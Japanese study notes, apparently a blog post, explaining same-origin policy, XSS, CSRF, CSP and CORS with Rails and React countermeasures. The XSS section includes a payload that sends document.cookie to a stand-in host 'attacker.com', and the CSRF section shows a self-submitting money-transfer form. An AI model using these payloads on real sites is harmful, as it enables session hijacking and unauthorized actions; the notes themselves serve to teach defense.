SOP、XSS、CSP、CSRF、CORSについて調べたことまとめ
SOP(Same Origin Policy: 同一オリジンポリシー)
- SOPとは → あるオリジンによって読み込まれた文書やスクリプトが、他のオリジンにあるリソースにアクセスできる方法を制限するもの
-
オリジンとは → スキーム名(プロトコル)、ホスト名(ドメイン)、ポート番号の3つで構成 → すべてが同じなら同一オリジン、1つでも異なれば別オリジン
- 他のオリジンとは
ページA ページB オリジンは同じ? https://example.com/page1
https://example.com/page2
✅ 同じオリジン (スキーム・ホスト・ポートが同じ) https://example.com
http://example.com
❌ 異なるオリジン(スキームが異なる) https://example.com
https://sub.example.com
❌ 異なるオリジン(ホストが異なる) https://example.com:443
https://example.com:8443
❌ 異なるオリジン(ポートが異なる) -
リソースとは → HTML、CSS、JavaScript、画像、APIレスポンス、動画、フォント、ストレージ
-
アクセスできる方法とは
- JavaScript API(例:
fetch()
,iframe.contentWindow
など) - HTMLタグ(例:
<img src="" alt="">
,<script src="">
,<link href="">
,<iframe src="">
,<form action="">
など)
- JavaScript API(例:
-
例: https://my-site.com/api
内で fetch
fetch("https://my-site.com/api"); // ✅ エラーなし
fetch("https://other-site.com/api")
// エラー: Access to fetch at 'https://other-site.com/api' from origin 'https://my-site.com'
SOP によって制限されない(他のオリジンのリソースにアクセスできる)
- 表示・埋め込み・実行・適用関連
<img src="https://other-site.com/image.png">
<iframe src="https://other-site.com"></iframe>
<embed src="https://other-site.com/document.pdf">
<script src="https://other-site.com/script.js"></script>
<link rel="stylesheet" href="https://other-site.com/styles.css">
- データ送信
-
my-site.com → other-site.com にデータを送信
- other-site.com の Cookie も送信される
<form action="https://other-site.com/submit" method="POST"> <input type="text" name="example"> <button type="submit">送信</button> </form>
fetch("https://other-site.com/data", { method: "POST", credentials: "include", body: JSON.stringify({ message: "Hello" }) });
- HTTPリクエスト例
POST /submit HTTP/1.1 Host: other-site.com Content-Type: application/x-www-form-urlencoded Referer: https://my-site.com/ Origin: https://my-site.com example=value
-
SOP によって制限される(他のオリジンのリソースにアクセスできない)
-
JavaScript で API レスポンスを取得
fetch("https://other-site.com/api") // エラー: Access to fetch at 'https://other-site.com/api' from origin 'https://my-site.com'
-
iframe の中身を JavaScript で操作
const iframe = document.createElement("iframe"); iframe.src = "https://other-site.com"; console.log(iframe.contentWindow.document); // エラー // Uncaught DOMException: Blocked a frame with origin 'https://my-site.com' // from accessing a cross-origin frame.
-
Cookie・localStorage・sessionStorage へのアクセス
const iframe = document.createElement("iframe"); iframe.src = "https://other-site.com"; console.log(iframe.contentWindow.document.cookie); // エラー // Uncaught DOMException: Blocked a frame with origin 'https://my-site.com' // from accessing a cross-origin document. console.log(iframe.contentWindow.localStorage.getItem("key")); // エラー // Uncaught DOMException: Failed to read the 'localStorage' property from 'Window': // Access is denied for this document. console.log(iframe.contentWindow.sessionStorage.getItem("sessionKey")); // エラー // Uncaught DOMException: Failed to read the 'sessionStorage' property from 'Window': // Access is denied for this document.
SOPのポイント
SOP では対処しきれないリスクがある
-
XSSのリスク
- SOP はオリジン間のデータ取得を制限するが、同じオリジン内でのスクリプト実行は防げない
- たとえば、ユーザー入力を適切に処理しないと、悪意のあるスクリプトが実行される
const userInput = '<script>alert("XSS攻撃");</script>'; document.body.innerHTML = userInput; // ❌ 悪意のあるスクリプトが実行される
-
CSRFのリスク
- form の送信時に Cookie が自動的に送信されるため、別サイトの form に埋め込まれる形で 悪意のあるサイトからリクエストが送られる
- 以下のコードを攻撃者のサイトに仕込まれると、ユーザーが気づかないうちにアカウント削除リクエストを送る可能性がある
<form action="https://my-site.com/api" method="POST"> <input type="hidden" name="action" value="delete"> <button type="submit">削除</button> </form>
XSS(Cross-Site Scripting: クロスサイトスクリプティング)
XSSとは → ユーザーのブラウザで攻撃者が用意したスクリプトを実行させることで、クッキーの窃取や不正なリダイレクト、フィッシングなどを引き起こす攻撃
XSSの攻撃例
// フロント
const params = new URLSearchParams(window.location.search);
document.body.innerHTML = `<p>検索結果: ${params.get('q')}</p>`;
// 攻撃用 URL
example.com?q=<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
// 生成されるHTML
<p>検索結果: <script>fetch('https://attacker.com?cookie='+document.cookie)</script></p>
<script>
タグがHTMLに挿入され、スクリプトが実行 → クッキーが攻撃者のサーバーに送信される可能性がある
XSSの対策
攻撃者のスクリプトを実行させない
-
ユーザー入力をエスケープ処理する
- エスケープとは → 特殊な文字(<, > など)を変換し、スクリプトが実行されないようにすること
-
例
<!-- エスケープ前 --> <p>検索結果: <script>alert('XSS')</script></p> <!-- エスケープ後 --> <p>検索結果: <script>alert('XSS')</script></p> <!-- タグが単なる文字列として表示される -->
-
React(Next.js)の場合
- JSX の {} に渡せば デフォルトでエスケープ されるので、安全
const params = new URLSearchParams(window.location.search); <p>{params.get('q')}</p>;
- dangerouslySetInnerHTML は 基本的に使わない。使うなら sanitize-html で安全処理を行う
import sanitizeHtml from 'sanitize-html'; const safeHtml = sanitizeHtml(params.get('q'), { allowedTags: [], allowedAttributes: {} }); <div dangerouslySetInnerHTML={{ __html: safeHtml }} />;
-
Railsの場合
<p><%= params[:q] %></p> <!-- デフォルトでエスケープされる -->
スクリプトが実行されても被害を防ぐ
-
CSP(Content Security Policy)を設定する
-
CSPとは → サーバーがレスポンスヘッダーに Content-Security-Policy を設定し、ブラウザにリソースの読み込みルールを指示する仕組み
-
例えば、
script-src 'self'
を設定すると、自分が許可したスクリプト以外実行されなくなる -
例
safe.js<script> const params = new URLSearchParams(window.location.search); document.body.innerHTML = `<p>検索結果: ${params.get('q')}</p>`; </script>
<!-- CSP設定前 --> HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html lang="ja"> <head> <title>検索結果</title> <script src="/safe.js"></script> </head> <body> <p>検索結果: <script>fetch('https://attacker.com?cookie='+document.cookie)</script></p> </body> </html> <!-- CSP設定後 --> HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Security-Policy: script-src 'self'; <!DOCTYPE html> <html lang="ja"> <head> <title>検索結果</title> <script src="/safe.js"></script> </head> <body> <p>検索結果: <script>fetch('https://attacker.com?cookie='+document.cookie)</script></p> <!-- 読み込まれない --> </body> </html>
-
Railsの場合
Rails.application.config.content_security_policy do |policy|
policy.script_src :self
end
XSSのポイント
- XSSは「サイト内でJavaScriptを実行される攻撃」なので、SOPでは防げない
- XSS対策には2つのアプローチがある
- 埋め込まれても表示されるだけで、実行されないようにする(エスケープ・サニタイズ)
- Rails の <%= %> などが自動でエスケープしてくれるので、スクリプトタグ
(<script>)
を入れられても <script> のように単なる文字列として表示され、実行されない
- Rails の <%= %> などが自動でエスケープしてくれるので、スクリプトタグ
- 仮に埋め込まれてしまっても、実行できないようにする
- Content-Security-Policy (CSP) を適切に設定し、インラインスクリプトの実行を禁止 したり、外部スクリプトの読み込みを制限 する
- 埋め込まれても表示されるだけで、実行されないようにする(エスケープ・サニタイズ)
CSRF(Cross-Site Request Forgery: クロスサイトリクエストフォージェリ)
CSRFとは → ユーザーが認証済みの状態で、Cookieを利用してリクエストを送信する仕組みを悪用し、意図しないアクションを実行させる攻撃
CSRFの攻撃例
POST リクエストを自動送信し、ユーザーの意図しないアクションを実行させる
<form action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
<button>送金</button>
</form>
<script>
document.forms[0].submit();
</script>
CSRFの対策
CSRFトークンの導入
- サーバーはランダムなトークンを発行し、リクエスト時に検証
- リクエストごとにトークンを検証することで、攻撃者は有効なリクエストを送れない
// フロント
<form action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="csrf_token" value="random-token-123">
<button>送金</button>
</form>
// サーバー
app.get("/transfer-form", (req, res) => {
req.session.csrfToken = "random-token-123"; // 実際はランダムな値を生成
res.render("transfer-form", { csrfToken: req.session.csrfToken });
});
// リクエスト内のトークンと、セッションに保存されたトークンを比較
app.post("/transfer", (req, res) => {
if (req.body.csrf_token !== req.session.csrfToken) {
return res.status(403).send("CSRF検証失敗");
}
res.send("送金完了");
});
- Railsの場合
-
Railsでは、デフォルトでCSRFトークンが組み込まれているため、特別な設定なしに利用できる
- Railsの form_with を使うと、CSRFトークンが自動的に設定される
// フロントエンド <%= form_with url: "/transfer", method: :post do |f| %> <%= f.hidden_field :to, value: "attacker" %> <%= f.hidden_field :amount, value: "1000" %> <%= f.submit "送金" %> <% end %>
<!-- バックエンド --> class TransfersController < ApplicationController protect_from_forgery with: :exception # CSRFトークンが検証される def create Transfer.create(to: params[:to], amount: params[:amount]) render json: { message: "送金完了" } end end
-
CSRFのポイント
- CSRFは Cookieが自動送信されることを悪用した攻撃 で、ユーザーが意図しないリクエストを送らされる
- CSRF対策
- リクエストの正当性を検証する(CSRFトークン)
- サーバーがランダムなトークンを発行し、リクエスト時に検証することで不正リクエストを防ぐ
- リクエストの正当性を検証する(CSRFトークン)
CSP(Content Security Policy)
- CSP とは → スクリプトやリソースの読み込み元を制限し、XSS などの攻撃を防ぐセキュリティ機能
- サーバーがレスポンスヘッダー(または <meta> タグ)で「どのドメインから、どの種類のリソースを読み込んでよいか」をブラウザに指示する仕組み
- ディレクティブを設定することで、ブラウザがどの種類のリソースをどのドメインから読み込むかを制御
- CSP 違反時のエラーメッセージ例
Refused to load the [リソースの種類] '[URL]'
because it violates the following Content Security Policy directive:
"[該当するディレクティブ]". Note that '[適用されたディレクティブ]' was not explicitly set,
so '[フォールバックとして使用されたディレクティブ]' is used as a fallback.
CSPのディレクティブ一覧
ディレクティブ | 意味・用途 |
---|---|
default-src | 他のディレクティブで指定されないリソースのデフォルトの読み込み元を指定 |
script-src | JavaScript の読み込み元を指定(XSS 対策の要) |
style-src | CSS の読み込み元を指定 |
img-src | 画像の読み込み元を指定 |
font-src | フォントの読み込み元を指定 |
connect-src | fetch・WebSocket などの接続先を指定 |
frame-ancestors | 当該ページを <iframe> や <frame> で埋め込むオリジンを制限 |
object-src | Flash, Silverlight, Java アプレットなどの埋め込みオブジェクトの読み込み元を指定 |
base-uri | <base> タグによる URL ベースの変更を制限 |
form-action | フォーム (<form>) 送信先を制限 |
report-uri / report-to | ポリシー違反が発生した際のレポート送信先を指定 |
CSPの設定例
参考: OWASP Content Security Policy Cheat Sheet
基本的な CSP
Content-Security-Policy:
default-src 'self';
frame-ancestors 'self';
form-action 'self';
-
default-src 'self'
: すべてのリソースをデフォルトでself
のみ許可 -
frame-ancestors 'self'
: iframe で埋め込めるサイトをself
のみに制限 (クリックジャッキング対策) -
form-action 'self'
: フォームの送信先をself
のみに制限
Strict CSP
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
-
nonce-{RANDOM}
: nonce により、許可されたスクリプトのみ実行可能 -
strict-dynamic
: nonce を持つスクリプトが動的に追加するスクリプトを許可 -
object-src 'none'
: Flash/Java の読み込みを防ぐ -
base-uri 'none'
:<base>
タグによる URL の変更を防ぐ
クリックジャッキング対策
Content-Security-Policy:
frame-ancestors 'none';
-
frame-ancestors 'none'
: iframe などでの埋め込みを禁止し、クリックジャッキングを防ぐ
CORS(Cross-Origin Resource Sharing)
CORSとは → 「別オリジンのリソースを、どこからなら取得可能にするか」をサーバー側が宣言する仕組み
同一オリジンポリシー(SOP)により、本来ブラウザは別オリジンへの fetch を制限するが、サーバーが CORS ヘッダーを返すことで、特定のオリジンにはデータ取得を許可できるようになる
CORSヘッダー一覧
ヘッダー | 意味 |
---|---|
Access-Control-Allow-Origin | 許可するオリジンを指定(* で全オリジン許可 or https://example.com など特定オリジンだけ許可) |
Access-Control-Allow-Credentials | Cookie や 認証情報(Credentials)を含むリクエストを許可するかどうか(true にする場合、Access-Control-Allow-Origin に * は指定不可) |
Access-Control-Allow-Methods | 許可するHTTPメソッド(GET, POST, PUT, DELETEなど) |
Access-Control-Allow-Headers | 許可するリクエストヘッダー(Content-Typeなど) |
Access-Control-Max-Age | プリフライトリクエストの結果をキャッシュする時間 |
CORSの設定例
-
まずはブラウザからのリクエスト例
- 別オリジン (
https://frontend.example
) から API (https://api.example
) を叩く場合 - Origin ヘッダー: ブラウザが自動的に付与し、リクエスト元のオリジン(スキーム+ドメイン+ポート)を示す
GET /data HTTP/1.1 Host: api.example Origin: https://frontend.example
- 別オリジン (
-
次にサーバーが CORS を許可したい場合のレスポンス例
- Access-Control-Allow-Originヘッダー: 指定したオリジン(例:
https://frontend.example
) からのアクセスを許可 - ブラウザはこのAccess-Control-Allow-Originヘッダーを確認して、CORS が許可されたリソースと判断し、レスポンスを JS コード(
fetch
等)で使えるようにする
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://frontend.example Content-Type: application/json { "message": "Hello from server!" }
- Access-Control-Allow-Originヘッダー: 指定したオリジン(例:
-
サーバーが許可しない場合
- レスポンスに
Access-Control-Allow-Origin
が含まれない、あるいは不一致の場合、ブラウザは同一オリジンポリシー(SOP)によってブロックし、開発者ツールのコンソールにエラーを表示
- レスポンスに
-
Railsの場合
Rails.application.config.middleware.insert_before 0, Rack::Cors do
allow do
origins "https://frontend.example" # 許可するオリジンを指定
resource "*",
headers: :any, # すべてのリクエストヘッダーを許可
methods: [:get, :post, :put, :patch, :delete, :options, :head], # 許可する HTTP メソッド
credentials: true # クッキーや認証情報の送信を許可
end
end
他のオリジンに送る HTTP リクエスト
ブラウザは CORS の仕様に基づき、クロスオリジンの HTTP リクエストをどのように扱うかを決定する
リクエストが「安全かどうか」を判定し、単純リクエストとプリフライトリクエストに分類する
安全かどうか のチェック基準
以下の条件を満たす場合、ブラウザはプリフライトリクエストなしでリクエストを送信
- HTTP メソッドが GET, POST, HEAD のいずれか
- 独自ヘッダー を含まない(例: Accept, Content-Type が application/x-www-form-urlencoded, multipart/form-data, text/plain のみ)
単純リクエスト
上記の条件を満たすリクエストは 単純リクエスト (Simple Request) として扱われ、クロスオリジンであっても直接送信される
- リクエスト例
GET /data HTTP/1.1
Host: api.example
Origin: https://frontend.example
...
- レスポンス例
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example
Content-Type: application/json
プリフライトリクエスト
ブラウザはプリフライトリクエストを実施し、以下の条件を満たした場合に本リクエストを送信
- リクエストの Origin がサーバーの Access-Control-Allow-Origin に含まれている
- リクエストメソッドが Access-Control-Allow-Methods に含まれている
- カスタムヘッダーが Access-Control-Allow-Headers に含まれている
- OPTIONS (プリフライト)のリクエスト例
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://my-site.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization, Content-Type
- OPTIONS (プリフライト)のレスポンス例
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://my-site.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400
- リクエスト例
POST /api/data HTTP/1.1
Host: api.example.com
Origin: https://my-site.com
Authorization: Bearer abcdef123456
Content-Type: application/json
{"message": "Hello, CORS!"}
- レスポンス例
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://my-site.com
{"status": "success"}
Cookieのセキュリティ対策まとめ(XSS・CSRF・CORS)
CookieのXSS対策
- リスク
- document.cookie からCookieを盗まれ、セッションハイジャックされる
- 対策
- HttpOnly を設定(JavaScriptからアクセスを禁止する)
CookieのCSRF対策
- リスク
- ユーザーが意図しないリクエストを送り、認証済みのCookieが悪用
- 対策
- SameSite=Lax を設定(同一オリジン以外ではCookieを送らないようにする)
- CSRFトークンを使用(フォーム送信にランダムなトークンを含める ことで、不正なサイトからのリクエストを区別する)
CookieのCORS対策
- Access-Control-Allow-Credentials: true を設定(認証情報を含める場合)
- Access-Control-Allow-Origin は * ではなく、特定のオリジンを指定
以上を踏まえた、適切なレスポンスの例
HTTP/1.1 200 OK
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
参考資料
Discussion